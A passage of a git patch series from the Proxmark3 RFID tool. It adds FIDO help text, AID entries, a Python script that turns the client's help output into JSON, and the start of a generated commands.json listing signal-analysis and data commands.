From b3a8d704c9c42748778fa29af3e651bf97c914ce Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 17:30:36 +0300 Subject: [PATCH 01/77] add some help for yubikey --- client/src/cmdhffido.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index eaaf586f5..fceb1407c 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -654,7 +654,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf fido make", "Execute a FIDO2 Make Credential command. Needs json file with parameters.\n" - "Sample file `fido2_defparams.json` in `client/resources/`.", + "Sample file `fido2_defparams.json` in `client/resources/`.\n" + "- for yubikey there must be only one option `\"rk\": true` or false" + , "hf fido make --> use default parameters file `fido2_defparams.json`\n" "hf fido make -f test.json --> use parameters file `text.json`" ); @@ -772,7 +774,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) { CLIParserInit(&ctx, "hf fido assert", "Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n" "Sample file `fido2_defparams.json` in `client/resources/`.\n" - "- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)" + "- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)\n" + "- for yubikey there must be only one option `\"up\": true` or false" , "hf fido assert --> default parameters file `fido2_defparams.json`\n" "hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId"); From 4bacefeadf6f17b3e0d57bc87d0b704239aebfe7 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 17:42:33 +0300 Subject: [PATCH 02/77] added fido2 aid to aidlist --- client/resources/aidlist.json | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index e427e34bf..96f38c2f4 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -839,6 +839,14 @@ "Description": "PIV Authentication Key", "Type": "" }, + { + "AID": "A0000006472F0001", + "Vendor": "FIDO authenticator", + "Country": "global", + "Name": "U2F/FIDO2 authenticator", + "Description": "U2F and/or FIDO2 authenticator", + "Type": "" + }, { "AID": "A000000116DB00", "Vendor": "GSA - TFCS", From 690895da9ee22776ddf12585216f5c0bfb99f7da Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 28 May 2021 18:00:23 +0300 Subject: [PATCH 03/77] add cipurse aid --- client/resources/aidlist.json | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index e427e34bf..ec88ebdfc 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -2158,5 +2158,13 @@ "Name": "TeslaDAP", "Description": "Undocumented AID associated with official Tesla BTLE Key Fobs", "Type": "Tesla" + }, + { + "AID": "4144204631", + "Vendor": "Cipurse", + "Country": "", + "Name": "Cipurse transport card", + "Description": "Cipurse transport card", + "Type": "transport" } ] From aa407eb5949fac4aceb47f0c05a63197027c62bf Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 18:52:14 +0300 Subject: [PATCH 04/77] rename default fido config file --- .../resources/{fido2_defparams.json => hf-fido2_defparams.json} | 0 client/src/cmdhffido.c | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename client/resources/{fido2_defparams.json => hf-fido2_defparams.json} (100%) diff --git a/client/resources/fido2_defparams.json b/client/resources/hf-fido2_defparams.json similarity index 100% rename from client/resources/fido2_defparams.json rename to client/resources/hf-fido2_defparams.json diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index fceb1407c..f7cdabab3 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -38,7 +38,7 @@ #include "fileutils.h" // laodFileJSONroot #define DEF_FIDO_SIZE 2048 -#define DEF_FIDO_PARAM_FILE "fido2_defparams.json" +#define DEF_FIDO_PARAM_FILE "hf-fido2_defparams.json" static int CmdHelp(const char *Cmd); From e92b67d1487ec07414fa15f664d9a0df80caf629 Mon Sep 17 00:00:00 2001 From: samwin Date: Sun, 30 May 2021 12:10:15 -0700 Subject: [PATCH 05/77] Add code to automatically create and update command help text JSON. --- .gitignore | 3 + Makefile | 4 + client/pyscripts/pm3_help2json.py | 207 ++++++++++++++++++++++++++++++ 3 files changed, 214 insertions(+) create mode 100755 client/pyscripts/pm3_help2json.py diff --git a/.gitignore b/.gitignore index c67871995..a797f3ae3 100644 --- a/.gitignore +++ b/.gitignore @@ -115,3 +115,6 @@ fpga_version_info.c !.vscode/templates/*.json !.vscode/extensions.json !.vscode/tasks.json + +# docs +!doc/*.json diff --git a/Makefile b/Makefile index 4f5af87e0..118e5acd3 100644 --- a/Makefile +++ b/Makefile @@ -264,6 +264,10 @@ style: --align-pointer=name {} \; # Update commands.md [ -x client/proxmark3 ] && client/proxmark3 -m > doc/commands.md + # Make sure python3 is installed + @which python3 >/dev/null || ( echo "Please install 'python3' package first" ; exit 1 ) + # Update commands.json + [ -x client/proxmark3 ] && client/proxmark3 --fulltext | python3 client/pyscripts/pm3_help2json.py - doc/commands.json # Detecting weird codepages and tabs. ifeq ($(platform),Darwin) diff --git a/client/pyscripts/pm3_help2json.py b/client/pyscripts/pm3_help2json.py new file mode 100755 index 000000000..0012b2b6e --- /dev/null +++ b/client/pyscripts/pm3_help2json.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python3 +""" +PM3 Help 2 JSON + +This script takes the full text help output from the PM3 client and converts it to JSON. + +Authors / Maintainers: + - Samuel Windall + +Note: + This file is used during the pm3 client build + any changes to the call script parameters should be reflected in the makefile +""" + +import re +import json +import datetime +import argparse +import logging + +############################################################################## +# Script version data: (Please increment when making updates) + +APP_NAME = 'PM3Help2JSON' + +VERSION_MAJOR = 1 +VERSION_MINOR = 0 + +############################################################################## +# Main Application Code: + + +def main(): + """The main function for the script""" + args = build_arg_parser().parse_args() + logging_format = '%(message)s' + if args.debug: + logging.basicConfig(level=logging.DEBUG, format=logging_format) + else: + logging.basicConfig(level=logging.WARN, format=logging_format) + logging.info(f'{get_version()} starting...') + help_text = args.input_file.read() + command_data = parse_all_command_data(help_text) + meta_data = build_metadata(args.meta, command_data) + output_data = { + 'metadata': meta_data, + 'commands': command_data, + } + json.dump(output_data, args.output_file, indent=4, sort_keys=True) + logging.info(f'{get_version()} completed!') + + +def build_arg_parser(): + """Build the argument parser for reading the program arguments""" + parser = argparse.ArgumentParser() + parser.add_argument('input_file', type=argparse.FileType('r'), help='Source of full text help from the PM3 client.') + parser.add_argument('output_file', type=argparse.FileType('w'), help='Destination for JSON output.') + parser.add_argument('--meta', action='append', help='Additional metadata to be included.', metavar='key:value') + parser.add_argument('--version', '-v', action='version', version=get_version(), help='Version data about this app.') + parser.add_argument('--debug', '-d', action='store_true', help='Log debug messages.') + return parser + + +def build_help_regex(): + """The regex uses to parse the full text output of help data from the pm3 client.""" + # Reads the divider followed by the command itself + re_command = r'-{87}\n(?P.+)\n' + # Reads if the command is available offline + re_offline = r'available offline: (?Pyes|no)\n+' + # Reads the description lines + re_description = r'(?P(.|\n)+?)\n+' + # Reads the usage string + re_usage = r'usage:\n(?P(?:.+\n)+)\n+' + # Reads the options and there individual descriptions + re_options = r'options:\n(?P(?:.+\n)+)\n' + # Reads the notes and examples + re_notes = r'examples\/notes:\n(?P(?:.+\n)+)' + # Combine them into a single regex object + re_full = re.compile(re_command+re_offline+re_description+re_usage+re_options+re_notes, re.MULTILINE); + return re_full + + +def parse_all_command_data(help_text): + """Turns the full text output of help data from the pm3 client into a list of dictionaries""" + command_dicts = {} + # Strip out ANSI escape sequences + help_text = remove_ansi_escape_codes(help_text) + # Find all commands in the full text help output + matches = build_help_regex().finditer(help_text) + for match in matches: + # Turn a match into a dictionary with keys for the extracted fields + command_object = parse_command_data(match) + # Store this command against its name for easy lookup + command_dicts[command_object['command']] = command_object + return command_dicts + + +def parse_command_data(match): + """Turns a regex match of a command in the help text and converts it into a dictionary""" + logging.info('Parsing new command...') + # Get and clean the command string + command = remove_extra_whitespace(match.group('command')) + logging.info(f' Command: {command}') + # Get the online status as a boolean. Note: the regex only picks up 'yes' or 'no' so this check is safe. + offline = (match.group('offline') == 'yes') + logging.debug(f' Offline: {offline}') + # Get and clean the description paragraph + description = text_to_oneliner(match.group('description')) + logging.debug(f' Description: {description}') + # Get and clen the usage string + usage = text_to_oneliner(match.group('usage')) + logging.debug(f' Usage: {usage}') + # Get and clean the list of options + options = text_to_list(match.group('options')) + logging.debug(f' Options: {options}') + # Get and clean the list of examples and notes + notes = text_to_list(match.group('notes')) + logging.debug(f' Notes: {notes}') + # Construct the command dictionary + command_data = { + 'command': command, + 'offline': offline, + 'description': description, + 'usage': usage, + 'options': options, + 'notes': notes + } + logging.info('Completed parsing command!') + return command_data + + +def build_metadata(extra_data, command_data): + """Turns the full text output of help data from the pm3 client into a list of dictionaries.""" + logging.info('Building metadata...') + metadata = { + 'extracted_by': get_version(), + 'extracted_on': datetime.datetime.utcnow().replace(microsecond=0).isoformat(), + 'commands_extracted': len(command_data) + } + for key, value in metadata.items(): + logging.debug(f' {key} - {value}') + if extra_data: + for extra in extra_data: + parts = extra.split(':') + if len(parts) == 2: + metadata[parts[0]] = parts[1] + logging.debug(f' {parts[0]} - {parts[1]}') + else: + logging.warning(f'Error building metadata. ' + f'Skipped "{extra}". ' + f'Extra metadata must be in the format "key:value".') + logging.info('Completed building metadata!') + return metadata + + +############################################################################## +# Helper Functions: + + +def get_version(): + """Get the version string for this script""" + return f'{APP_NAME} v{VERSION_MAJOR}.{VERSION_MINOR:02}' + + +def remove_ansi_escape_codes(text): + """Remove ANSI escape sequences that may be left in the text.""" + re_ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -/]*[@-~]') + return re_ansi_escape.sub('', str(text)).lower() + + +def remove_extra_whitespace(text): + """Removes extra whitespace that may be in the text.""" + # Ensure input is a string + text = str(text) + # Remove whitespace from the start and end of the text + text = text.strip() + # Deduplicate spaces in the string + text = re.sub(r' +', ' ', text) + return text + + +def text_to_oneliner(text): + """Converts a multi line string into a single line string and removes extra whitespace""" + # Ensure input is a string + text = str(text) + # Replace newlines with spaces + text = re.sub(r'\n+', ' ', text) + # Remove the extra whitespace + text = remove_extra_whitespace(text) + return text + + +def text_to_list(text): + """Converts a multi line string into a list of lines and removes extra whitespace""" + # Ensure input is a string + text = str(text) + # Get all the lines + lines = text.strip().split('\n') + # For each line clean up any extra whitespace + return [remove_extra_whitespace(line) for line in lines] + + +############################################################################## +# Application entrypoint: + +if __name__ == '__main__': + main() From 01b9197353107377c9c788b7c034dd123383f33b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 31 May 2021 14:35:41 +0200 Subject: [PATCH 06/77] make style --- doc/commands.json | 9068 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 9068 insertions(+) create mode 100644 doc/commands.json diff --git a/doc/commands.json b/doc/commands.json new file mode 100644 index 000000000..6753f275f --- /dev/null +++ b/doc/commands.json @@ -0,0 +1,9068 @@ +{ + "commands": { + "analyse a": { + "command": "analyse a", + "description": "iceman's personal garbage test command", + "notes": [ + "analyse a -d 137af00a0a0d" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to manipulate" + ], + "usage": "analyse a [-h] -d " + }, + "analyse chksum": { + "command": "analyse chksum", + "description": "the bytes will be added with eachother and than limited with the applied mask finally compute ones' complement of the least significant bytes.", + "notes": [ + "analyse chksum -d 137af00a0a0d -> expected output: 0x61", + "analyse chksum -d 137af00a0a0d -m ff" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to calc checksum", + "-m, --mask bit mask to limit the output (4 hex bytes max)", + "-v, --verbose verbose" + ], + "usage": "analyse chksum [-hv] -d [-m ]" + }, + "analyse crc": { + "command": "analyse crc", + "description": "a stub method to test different crc implementations inside the pm3 sourcecode. just because you figured out the poly, doesn't mean you get the desired output", + "notes": [ + "analyse crc -d 137af00a0a0d" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to calc crc" + ], + "usage": "analyse crc [-h] -d " + }, + "analyse dates": { + "command": "analyse dates", + "description": "tool to look for date/time stamps in a given array of bytes", + "notes": [ + "analyse dates" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "analyse dates [-h]" + }, + "analyse demodbuff": { + "command": "analyse demodbuff", + "description": "loads a binary string into demod buffer", + "notes": [ + "analyse demodbuff -d 0011101001001011" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data binary string to load" + ], + "usage": "analyse demodbuff [-h] -d " + }, + "analyse foo": { + "command": "analyse foo", + "description": "experiments of cliparse", + "notes": [ + "analyse foo -r a0000000a0002021" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-r, --raw raw bytes (strx)" + ], + "usage": "analyse foo [-h] [-r ]..." + }, + "analyse freq": { + "command": "analyse freq", + "description": "calc wave lengths", + "notes": [ + "analyse freq" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "analyse freq [-h]" + }, + "analyse help": { + "command": "analyse help", + "description": "help this help lcr generate final byte for xor lrc crc stub method for crc evaluations chksum checksum with adding, masking and one's complement dates look for datestamps in a given array of bytes tea crypto tea test lfsr lfsr tests a num bits test nuid create nuid from 7byte uid demodbuff load binary string to demodbuffer freq calc wave lengths foo muxer units convert etu <> us <> ssp_clk (3.39mhz) --------------------------------------------------------------------------------------- analyse lcr available offline: yes specifying the bytes of a uid with a known lrc will find the last byte value needed to generate that lrc with a rolling xor. all bytes should be specified in hex.", + "notes": [ + "analyse lcr -d 04008064ba -> target (ba) requires final lrc xor byte value: 5a" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to calc missing xor in a lcr" + ], + "usage": "analyse lcr [-h] -d " + }, + "analyse lfsr": { + "command": "analyse lfsr", + "description": "looks at legic prime's lfsr, iterates the first 48 values", + "notes": [ + "analyse lfsr --iv 55" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--iv init vector data (1 hex byte)", + "--find lfsr data to find (1 hex byte)" + ], + "usage": "analyse lfsr [-h] --iv [--find ]" + }, + "analyse nuid": { + "command": "analyse nuid", + "description": "generate 4byte nuid from 7byte uid", + "notes": [ + "analyse nuid -d 11223344556677" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to send", + "-t, --test self test" + ], + "usage": "analyse nuid [-ht] [-d ]" + }, + "analyse tea": { + "command": "analyse tea", + "description": "crypto tea self tests", + "notes": [ + "analyse tea -d 1122334455667788" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to encrypt ( 8 hex bytes )" + ], + "usage": "analyse tea [-h] -d " + }, + "analyse units": { + "command": "analyse units", + "description": "experiments of unit conversions found in hf. etu (1/13.56mhz), us or ssp_clk (1/3.39mhz)", + "notes": [ + "analyse uints --etu 10analyse uints --us 100" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--etu number in etu", + "--us number in micro seconds (us)" + ], + "usage": "analyse units [-h] [--etu ] [--us ]" + }, + "clear": { + "command": "clear", + "description": "clear the proxmark3 client terminal screen", + "notes": [ + "clear" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "clear [-h]" + }, + "data askedgedetect": { + "command": "data askedgedetect", + "description": "adjust graph for manual ask demod using the length of sample differences to detect the edge of a wave", + "notes": [ + "data askedgedetect -t 20" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-t, --thres threshold, use 20 - 45 (def 25)" + ], + "usage": "data askedgedetect [-h] [-t ]" + }, + "data asn1": { + "command": "data asn1", + "description": "decode asn1 bytearray", + "notes": [ + "data asn1 -d 303381050186922305a5020500a6088101010403030008a7188516eeee4facacf4fbde5e5c49d95e55bfbca74267b02407a9020500" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d asn1 encoded byte array" + ], + "usage": "data asn1 [-h] -d " + }, + "data autocorr": { + "command": "data autocorr", + "description": "autocorrelate over window is used to detect repeating sequences. we use it as detection of how long in bits a message inside the signal is", + "notes": [ + "data autocorr -w 4000", + "data autocorr -w 4000 -g" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-g save back to graphbuffer (overwrite)", + "-w, --win window length for correlation. def 4000" + ], + "usage": "data autocorr [-hg] [-w ]" + }, + "data bin2hex": { + "command": "data bin2hex", + "description": "this function converts binary to hexadecimal. it will ignore all characters not 1 or 0 but stop reading on whitespace", + "notes": [ + "data bin2hex -d 0101111001010" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data binary string to convert" + ], + "usage": "data bin2hex [-h] [-d ]..." + }, + "data bitsamples": { + "command": "data bitsamples", + "description": "get raw samples from device as bitstring", + "notes": [ + "data bitsamples" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "data bitsamples [-h]" + }, + "data clear": { + "command": "data clear", + "description": "this function clears the bigbuff on deviceside and graph window", + "notes": [ + "data clear" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data clear [-h]" + }, + "data convertbitstream": { + "command": "data convertbitstream", + "description": "convert graphbuffer's 0|1 values to 127|-127", + "notes": [ + "data convertbitstream" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data convertbitstream [-h]" + }, + "data decimate": { + "command": "data decimate", + "description": "performs decimation, by reducing samples n times in the grapbuf. good for psk", + "notes": [ + "data decimate", + "data decimate -n 4" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n factor to reduce sample set (default 2)" + ], + "usage": "data decimate [-h] [-n ]" + }, + "data detectclock": { + "command": "data detectclock", + "description": "detect ask, fsk, nrz, psk clock rate of wave in graphbuffer", + "notes": [ + "data detectclock -a -> detect clock of an ask wave in graphbuffer", + "data detectclock -f -> detect clock of an fsk wave in graphbuffer", + "data detectclock -n -> detect clock of an psk wave in graphbuffer", + "data detectclock -p -> detect clock of an nrz/direct wave in graphbuffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-a, --ask specify ask modulation clock detection", + "-f, --fsk specify fsk modulation clock detection", + "-n, --nzr specify nzr/direct modulation clock detection", + "-p, --psk specify psk modulation clock detection" + ], + "usage": "data detectclock [-hafnp]" + }, + "data dirthreshold": { + "command": "data dirthreshold", + "description": "max rising higher up-thres/ min falling lower down-thres, keep rest as prev.", + "notes": [ + "data dirthreshold -u 10 -d -10" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --down threshold down", + "-u, --up threshold up" + ], + "usage": "data dirthreshold [-h] -d -u " + }, + "data fsktonrz": { + "command": "data fsktonrz", + "description": "convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk) omitted values are autodetect instead", + "notes": [ + "data fsktonrz", + "data fsktonrz -c 32 --low 8 --hi 10" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-c, --clk clock", + "--low low field clock", + "--hi high field clock" + ], + "usage": "data fsktonrz [-h] [-c ] [--low ] [--hi ]" + }, + "data getbitstream": { + "command": "data getbitstream", + "description": "convert graphbuffer's value accordingly - larger or equal to one becomes one - less than one becomes zero", + "notes": [ + "data getbitstream" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data getbitstream [-h]" + }, + "data grid": { + "command": "data grid", + "description": "this function overlay grid on graph plot window. use zero value to turn off either", + "notes": [ + "data grid -> turn off", + "data grid -x 64 -y 50" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-x plot grid x coord", + "-y plot grid y coord" + ], + "usage": "data grid [-h] [-x ] [-y ]" + }, + "data help": { + "command": "data help", + "description": "help this help ----------- ------------------------- modulation------------------------- biphaserawdecode biphase decode bin stream in demodbuffer detectclock detect ask, fsk, nrz, psk clock rate of wave in graphbuffer fsktonrz convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk) manrawdecode manchester decode binary stream in demodbuffer modulation identify lf signal for clock and modulation rawdemod demodulate the data in the graphbuffer and output binary ----------- ------------------------- graph------------------------- askedgedetect adjust graph for manual ask demod using the length of sample differences to detect the edge of a wave autocorr autocorrelation over window dirthreshold max rising higher up-thres/ min falling lower down-thres, keep rest as prev. decimate decimate samples undecimate un-decimate samples hide hide graph window hpf remove dc offset from trace iir apply iir buttersworth filter on plot data grid overlay grid on graph window ltrim trim samples from left of trace mtrim trim out samples from the specified start to the specified stop norm normalize max/min to +/-128 plot show graph window rtrim trim samples from right of trace setgraphmarkers set blue and orange marker in graph window shiftgraphzero shift 0 for graphed wave + or - shift value timescale set a timescale to get a differential reading between the yellow and purple markers as time duration zerocrossings count time between zero-crossings convertbitstream convert graphbuffer's 0/1 values to 127 / -127 getbitstream convert graphbuffer's >=1 values to 1 and <1 to 0 ----------- ------------------------- general------------------------- asn1 asn1 decoder bin2hex converts binary to hexadecimal clear clears bigbuf on deviceside and graph window hex2bin converts hexadecimal to binary load load contents of file into graph window print print the data in the demodbuffer save save signal trace data (from graph window) setdebugmode set debugging level on client side --------------------------------------------------------------------------------------- data biphaserawdecode available offline: yes biphase decode binary stream in demodbuffer converts 10 or 01 -> 1 and 11 or 00 -> 0 - must have binary sequence in demodbuffer (run `data rawdemod --ar` before) - invert for conditional dephase encoding (cdp) aka differential manchester", + "notes": [ + "data biphaserawdecode -> decode biphase bitstream from the demodbuffer", + "data biphaserawdecode -oi -> decode biphase bitstream from the demodbuffer, adjust offset, and invert output" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-o, --offset set to adjust decode start position", + "-i, --inv invert output", + "--err set max errors tolerated (def 20)" + ], + "usage": "data biphaserawdecode [-hoi] [--err ]" + }, + "data hex2bin": { + "command": "data hex2bin", + "description": "this function converts hexadecimal to binary. it will ignore all non-hexadecimal characters but stop reading on whitespace", + "notes": [ + "data hex2bin -d 01020304" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to convert" + ], + "usage": "data hex2bin [-h] [-d ]" + }, + "data hexsamples": { + "command": "data hexsamples", + "description": "dump big buffer as hex bytes", + "notes": [ + "data hexsamples -n 128 -> dumps 128 bytes from offset 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --breaks row break, def 16", + "-n num of bytes to download", + "-o, --offset offset in big buffer" + ], + "usage": "data hexsamples [-h] [-b ] [-n ] [-o ]" + }, + "data hide": { + "command": "data hide", + "description": "show graph window", + "notes": [ + "data hide" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data hide [-h]" + }, + "data hpf": { + "command": "data hpf", + "description": "remove dc offset from trace. it should centralize around 0", + "notes": [ + "data hpf" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data hpf [-h]" + }, + "data iir": { + "command": "data iir", + "description": "apply iir buttersworth filter on plot data", + "notes": [ + "data iir -n 2" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n factor n" + ], + "usage": "data iir [-h] -n " + }, + "data load": { + "command": "data load", + "description": "this command loads the contents of a pm3 file into graph window", + "notes": [ + "data load -f myfilename" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file file to load" + ], + "usage": "data load [-h] -f " + }, + "data ltrim": { + "command": "data ltrim", + "description": "trim samples from left of trace", + "notes": [ + "data ltrim -i 300 -> keep 300 - end" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-i, --idx from index to beginning trace" + ], + "usage": "data ltrim [-h] -i " + }, + "data manrawdecode": { + "command": "data manrawdecode", + "description": "manchester decode binary stream in demodbuffer converts 10 and 01 and converts to 0 and 1 respectively - must have binary sequence in demodbuffer (run `data rawdemod --ar` before)", + "notes": [ + "data manrawdecode" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-i, --inv invert output", + "--err set max errors tolerated (def 20)" + ], + "usage": "data manrawdecode [-hi] [--err ]" + }, + "data modulation": { + "command": "data modulation", + "description": "search lf signal after clock and modulation", + "notes": [ + "data modulation" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data modulation [-h]" + }, + "data mtrim": { + "command": "data mtrim", + "description": "trim out samples from the specified start to the specified end point", + "notes": [ + "data mtrim -s 1000 -e 2000 -> keep between 1000 and 2000" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-s, --start start point", + "-e, --end end point" + ], + "usage": "data mtrim [-h] -s -e " + }, + "data norm": { + "command": "data norm", + "description": "normalize max/min to +/-128", + "notes": [ + "data norm" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data norm [-h]" + }, + "data plot": { + "command": "data plot", + "description": "show graph window hit 'h' in window for detail keystroke help available", + "notes": [ + "data plot" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data plot [-h]" + }, + "data print": { + "command": "data print", + "description": "print the data in the demodbuffer as hex or binary. defaults to binary output", + "notes": [ + "data print" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-i, --inv invert demodbuffer before printing", + "-o, --offset offset in # of bits", + "-s, --strip strip leading zeroes, i.e. set offset to first bit equal to one", + "-x, --hex output in hex (omit for binary output)" + ], + "usage": "data print [-hisx] [-o ]" + }, + "data rawdemod": { + "command": "data rawdemod", + "description": "demodulate the data in the graphbuffer and output binary", + "notes": [ + "data rawdemod --fs -> demod fsk - autodetect", + "data rawdemod --ab -> demod ask/biphase - autodetect", + "data rawdemod --am -> demod ask/manchester - autodetect", + "data rawdemod --ar -> demod ask/raw - autodetect", + "data rawdemod --nr -> demod nrz/direct - autodetect", + "data rawdemod --p1 -> demod psk1 - autodetect", + "data rawdemod --p2 -> demod psk2 - autodetect" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--ab ask/biphase demodulation", + "--am ask/manchester demodulation", + "--ar ask/raw demodulation", + "--fs fsk demodulation", + "--nr nrz/direct demodulation", + "--p1 psk 1 demodulation", + "--p2 psk 2 demodulation", + " params for sub command" + ], + "usage": "data rawdemod [-h] [--ab] [--am] [--ar] [--fs] [--nr] [--p1] [--p2] []..." + }, + "data rtrim": { + "command": "data rtrim", + "description": "trim samples from right of trace", + "notes": [ + "data rtrim -i 4000 -> keep 0 - 4000" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-i, --idx from index to end trace" + ], + "usage": "data rtrim [-h] -i " + }, + "data samples": { + "command": "data samples", + "description": "get raw samples for graph window (graphbuffer) from device. if 0, then get whole big buffer from device.", + "notes": [ + "data samples", + "data samples -n 10000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n num of samples (512 - 40000)", + "-v, --verbose verbose" + ], + "usage": "data samples [-hv] [-n ]" + }, + "data save": { + "command": "data save", + "description": "save trace from graph window , i.e. the graphbuffer this is a text file with number -127 to 127. with the option `w` you can save it as wave file filename should be without file extension", + "notes": [ + "data save -f myfilename -> save graph buffer to file", + "data save --wave -f myfilename -> save graph buffer to wave file" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-w, --wave save as wave format (.wav)", + "-f, --file save file name" + ], + "usage": "data save [-hw] -f " + }, + "data setdebugmode": { + "command": "data setdebugmode", + "description": "set debugging level on client side", + "notes": [ + "data setdebugmode" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-0 no debug messages", + "-1 debug", + "-2 verbose debugging" + ], + "usage": "data setdebugmode [-h012]" + }, + "data setgraphmarkers": { + "command": "data setgraphmarkers", + "description": "set blue and orange marker in graph window", + "notes": [ + "data setgraphmarkers -> turn off", + "data setgraphmarkers -a 64 -b 50" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-a orange marker", + "-b blue marker" + ], + "usage": "data setgraphmarkers [-h] [-a ] [-b ]" + }, + "data shiftgraphzero": { + "command": "data shiftgraphzero", + "description": "shift 0 for graphed wave + or - shift value", + "notes": [ + "data shiftgraphzero -n 10 -> shift 10 points", + "data shiftgraphzero -n -22 -> shift negative 22 points" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n shift + or -" + ], + "usage": "data shiftgraphzero [-h] -n " + }, + "data timescale": { + "command": "data timescale", + "description": "set cursor display timescale. setting the timescale makes the differential `dt` reading between the yellow and purple markers meaningful. once the timescale is set, the differential reading between brackets can become a time duration.", + "notes": [ + "data timescale --sr 125 -u ms -> for lf sampled at 125 khz. reading will be in milliseconds", + "data timescale --sr 1.695 -u us -> for hf sampled at 16 * fc/128. reading will be in microseconds", + "data timescale --sr 16 -u etu -> for hf with 16 samples per etu (fc/128). reading will be in etus" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--sr sets timescale factor according to sampling rate", + "-u, --unit time unit to display (max 10 chars)" + ], + "usage": "data timescale [-h] --sr [-u ]" + }, + "data tune": { + "command": "data tune", + "description": "measure tuning of device antenna. results shown in graph window. this command doesn't actively tune your antennas, it's only informative by measuring voltage that the antennas will generate", + "notes": [ + "data tune" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "data tune [-h]" + }, + "data undecimate": { + "command": "data undecimate", + "description": "performs un-decimation, by repeating each sample n times in the graphbuf", + "notes": [ + "data undecimate", + "data undecimate -n 4" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-n factor to repeat each sample (default 2)" + ], + "usage": "data undecimate [-h] [-n ]" + }, + "data zerocrossings": { + "command": "data zerocrossings", + "description": "count time between zero-crossings", + "notes": [ + "data zerocrossings" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "data zerocrossings [-h]" + }, + "emv challenge": { + "command": "emv challenge", + "description": "executes generate challenge command. it returns 4 or 8-byte random number from card. needs a emv applet to be selected and gpo to be executed.", + "notes": [ + "emv challenge -> get challenge", + "emv challenge -k -> get challenge, keep fileld on" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, -k, --keep keep field on for next command", + "-a, -a, 